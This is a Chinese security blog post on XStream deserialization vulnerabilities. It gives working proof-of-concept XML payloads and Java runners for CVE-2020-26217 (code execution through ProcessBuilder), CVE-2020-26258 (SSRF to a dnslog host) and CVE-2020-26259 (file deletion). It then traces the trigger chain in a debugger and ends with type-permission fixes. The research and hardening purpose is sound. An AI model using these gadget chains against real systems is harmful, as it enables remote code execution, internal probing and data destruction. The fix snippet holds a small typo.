天天看點

xstream 反序列化漏洞研究與修複

文章目錄

    • 1、簡介
    • 2、舉例
    • 3、漏洞
      • CVE-2020-26217
      • CVE-2020-26258
      • CVE-2020-26259
      • 調試
    • 4、修複

1、簡介

xstream是一個用于序列化和反序列化的java庫,主要是java對象和xml之間互相轉換。

XStream反序列化同fastjson這種不一樣的地方是fastjson會在反序列化的時候主動去調用getters和setters,而XStream的反序列化過程中指派都有Java的反射機制來完成,是以并沒有這樣主動調用的特性。

特點

  • 使用友善 - XStream的API提供了一個高層次外觀,以簡化常用的用例
  • 無需建立映射 - XStream的API提供了預設的映射大部分對象序列化
  • 性能 - XStream快速和低記憶體占用,适合于大對象圖或系統
  • 幹淨的XML - XStream建立一個幹淨和緊湊XML結果,這很容易閱讀
  • 不需要修改對象 - XStream可序列化的内部字段,如私有和最終字段,支援非公有制和内部類,預設構造函數不是強制性的要求
  • 完整對象圖支援 - XStream允許保持在對象模型中遇到的重複引用,并支援循環引用
  • 可自定義的轉換政策 - 定制政策可以允許特定類型的定制被表示為XML的注冊
  • 安全架構 - XStream提供了一個公平控制有關解組的類型,以防止操縱輸入安全問題
  • 錯誤消息 - 出現異常是由于格式不正确的XML時,XStream抛出一個統一的例外,提供了詳細的診斷,以解決這個問題
  • 另一種輸出格式 - XStream支援其它的輸出格式,如JSON

2、舉例

引入xstream

<dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.16</version>
 </dependency>
           

随便建立一個Student類,用于反序列化和被反序列化:

package xstream;

public class Student {
    public String name;
    public String sex;
    //@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Object myObject;

    public Student(){
        System.out.println("Student 構造函數");
    }
    public String getName(){
        System.out.println("getName");
        return name;
    }
    public void setName(String name){
        System.out.println("setName");
        this.name = name;
    }
    public String getSex(){
        System.out.println("getSex");
        return sex;
    }
    public void setSex(String sex){
        System.out.println("setSex");
        this.sex = sex;
    }

    public Object getMyObject() {
        System.out.println("getMyObject");
        return myObject;
    }
    public void setMyObject(Object myObject) {
        System.out.println("setMyObject");
        this.myObject = myObject;
    }
    @Override
    public String toString() {
        return String.format("Student.name=%s, Student.sex=%s", name, sex);
    }
}
           

具體實作栗子

package xstream;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;

import java.io.IOException;

public class XstreamPoc {
    public static void main(String[] args) throws IOException {
        poc01();
    }
    public static void poc01() throws IOException {
        Student student = new Student();
        student.setName("5wimming");
        student.setSex("boy");

        XStream xstream = new XStream(new StaxDriver());

        String xml = xstream.toXML(student);
        System.out.println(xml);

        Student student02 = (Student) xstream.fromXML(xml);
        System.out.println(student02);
    }

}

           

運作結果如下

Student 構造函數
setName
setSex
<?xml version="1.0" ?><xstream.Student><name>5wimming</name><sex>boy</sex></xstream.Student>
Student.name=5wimming, Student.sex=boy
           

3、漏洞

CVE-2020-26217

首先引入滿足漏洞條件的xstream包,小于1.4.13即可

<dependency>
     <groupId>com.thoughtworks.xstream</groupId>
     <artifactId>xstream</artifactId>
     <version>1.4.11</version>
 </dependency>
           

官方給的poc

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>
           

建一個poc:

package xstream;

import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.StaxDriver;

import java.io.IOException;

public class XstreamPoc {
    public static void main(String[] args) throws IOException {
        poc02();
    }
    public static void poc02(){
        String pocXml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='java.io.SequenceInputStream'>\n" +
                "              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
                "                <iterator class='javax.imageio.spi.FilterIterator'>\n" +
                "                  <iter class='java.util.ArrayList$Itr'>\n" +
                "                    <cursor>0</cursor>\n" +
                "                    <lastRet>-1</lastRet>\n" +
                "                    <expectedModCount>1</expectedModCount>\n" +
                "                    <outer-class>\n" +
                "                      <java.lang.ProcessBuilder>\n" +
                "                        <command>\n" +
                "                          <string>calc</string>\n" +
                "                        </command>\n" +
                "                      </java.lang.ProcessBuilder>\n" +
                "                    </outer-class>\n" +
                "                  </iter>\n" +
                "                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
                "                    <method>\n" +
                "                      <class>java.lang.ProcessBuilder</class>\n" +
                "                      <name>start</name>\n" +
                "                      <parameter-types/>\n" +
                "                    </method>\n" +
                "                    <name>start</name>\n" +
                "                  </filter>\n" +
                "                  <next/>\n" +
                "                </iterator>\n" +
                "                <type>KEYS</type>\n" +
                "              </e>\n" +
                "              <in class='java.io.ByteArrayInputStream'>\n" +
                "                <buf></buf>\n" +
                "                <pos>0</pos>\n" +
                "                <mark>0</mark>\n" +
                "                <count>0</count>\n" +
                "              </in>\n" +
                "            </is>\n" +
                "            <consumed>false</consumed>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        XStream xstream = new XStream(new StaxDriver());
        xstream.fromXML(pocXml);
    }
}

           

運作後彈出電腦

xstream 反序列化漏洞研究與修複

CVE-2020-26258

這是一個SSRF漏洞,xstream版本小于1.4.14

漏洞payload:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='javax.activation.URLDataSource'>
            <url>http://localhost:8080/internal/:</url>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>
           

poc如下:

public static void poc03(){
        // CVE-2020-26258
        String pocXml = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='javax.activation.URLDataSource'>\n" +
                "            <url>http://xstream26258.dnslog.com/:</url>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        XStream xstream = new XStream(new StaxDriver());
        xstream.fromXML(pocXml);
    }
           

運作,發現dnslog成功了

xstream 反序列化漏洞研究與修複

CVE-2020-26259

這是一個任意檔案删除漏洞,xstream版本需要小于1.4.14

首先在某個目錄下建立一個test.txt,payload如下:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
              <tempFile>/Users/5wimming/temp/test.txt</tempFile>
            </is>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>
           

poc如下:

public static void  poc04(){
       String pocXml = "<map>\n" +
               "  <entry>\n" +
               "    <jdk.nashorn.internal.objects.NativeString>\n" +
               "      <flags>0</flags>\n" +
               "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
               "        <dataHandler>\n" +
               "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
               "            <contentType>text/plain</contentType>\n" +
               "            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
               "              <tempFile>/Users/5wimming/temp/test.txt</tempFile>\n" +
               "            </is>\n" +
               "          </dataSource>\n" +
               "          <transferFlavors/>\n" +
               "        </dataHandler>\n" +
               "        <dataLen>0</dataLen>\n" +
               "      </value>\n" +
               "    </jdk.nashorn.internal.objects.NativeString>\n" +
               "    <string>test</string>\n" +
               "  </entry>\n" +
               "</map>";
       XStream xstream = new XStream(new StaxDriver());
       xstream.fromXML(pocXml);
   }
           

執行,然後檔案說沒就沒了。

調試

我們調試一下後面幾個漏洞吧

首先進入com.thoughtworks.xstream.XStream#fromXML(java.io.Reader)函數

xstream 反序列化漏洞研究與修複

接着進入com.thoughtworks.xstream.XStream#unmarshal(com.thoughtworks.xstream.io.HierarchicalStreamReader, java.lang.Object, com.thoughtworks.xstream.converters.DataHolder)函數

xstream 反序列化漏洞研究與修複

中間一大坨枯燥無味就不跟了,直奔主題。

跟進到com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap函數,在 Xstream 建構 entry 的過程中,将本次的key 值NativeString, put 到 map中:

xstream 反序列化漏洞研究與修複

強制進入put函數中,發現key值會被傳進hash函數,繼續跟進

xstream 反序列化漏洞研究與修複

發現key值就調用hashCode()函數,這就是問題所在,如果惡意類在hashCode中有惡意操作,就可以利用起來了,剛好NativeString就是這個類

xstream 反序列化漏洞研究與修複

我們進入jdk.nashorn.internal.objects.NativeString#hashCode函數,發現它調用了getStringValue函數,而getStringValue函數裡面的value又調用了toString函數,這裡的value就是Base64Data類

xstream 反序列化漏洞研究與修複

跟進toString函數,發現調用了get函數,繼續跟進get函數

xstream 反序列化漏洞研究與修複

發現CVE-2020-26258和CVE-2020-26259這的觸發點,CVE-2020-26217 利用的是readFrom 及其後續,不過因為 Xstream 黑名單限制了進行遠端代碼執行。而CVE-2020-26258和CVE-2020-26259利用 getInputStream 函數與 close 函數分别進行 ssrf 和檔案删除。

xstream 反序列化漏洞研究與修複

下面是getInputStream 函數導緻SSRF漏洞的觸發點

xstream 反序列化漏洞研究與修複

下面是close函數導緻檔案删除的觸發點

xstream 反序列化漏洞研究與修複

4、修複

黑名單方式

XStream xstream = new XStream();
// 首先清除預設設定,然後進行自定義設定
xstream.addPermission(NoTypePermission.NONE);
//将ImageIO類加入黑名單
xstream.denyPermission(new ExplicitTypePermission(new Class[]{ImageIO.class}));
xstream.fromXML(xml);
           

白名單方式

XStream xstream = new XStream();
// 首先清除預設設定,然後進行自定義設定
xstream.addPermission(NoTypePermission.NONE);
// 添加一些基礎的類型,如Array、NULL、primitive
xstream.addPermission(ArrayTypePermission.ARRAYS);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
// 添加自定義的類清單
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
           

參考:

https://www.jianshu.com/p/d8e6c5488353

https://www.cnblogs.com/v1ntlyn/p/14034019.html

https://blog.csdn.net/further_eye/article/details/110421329

繼續閱讀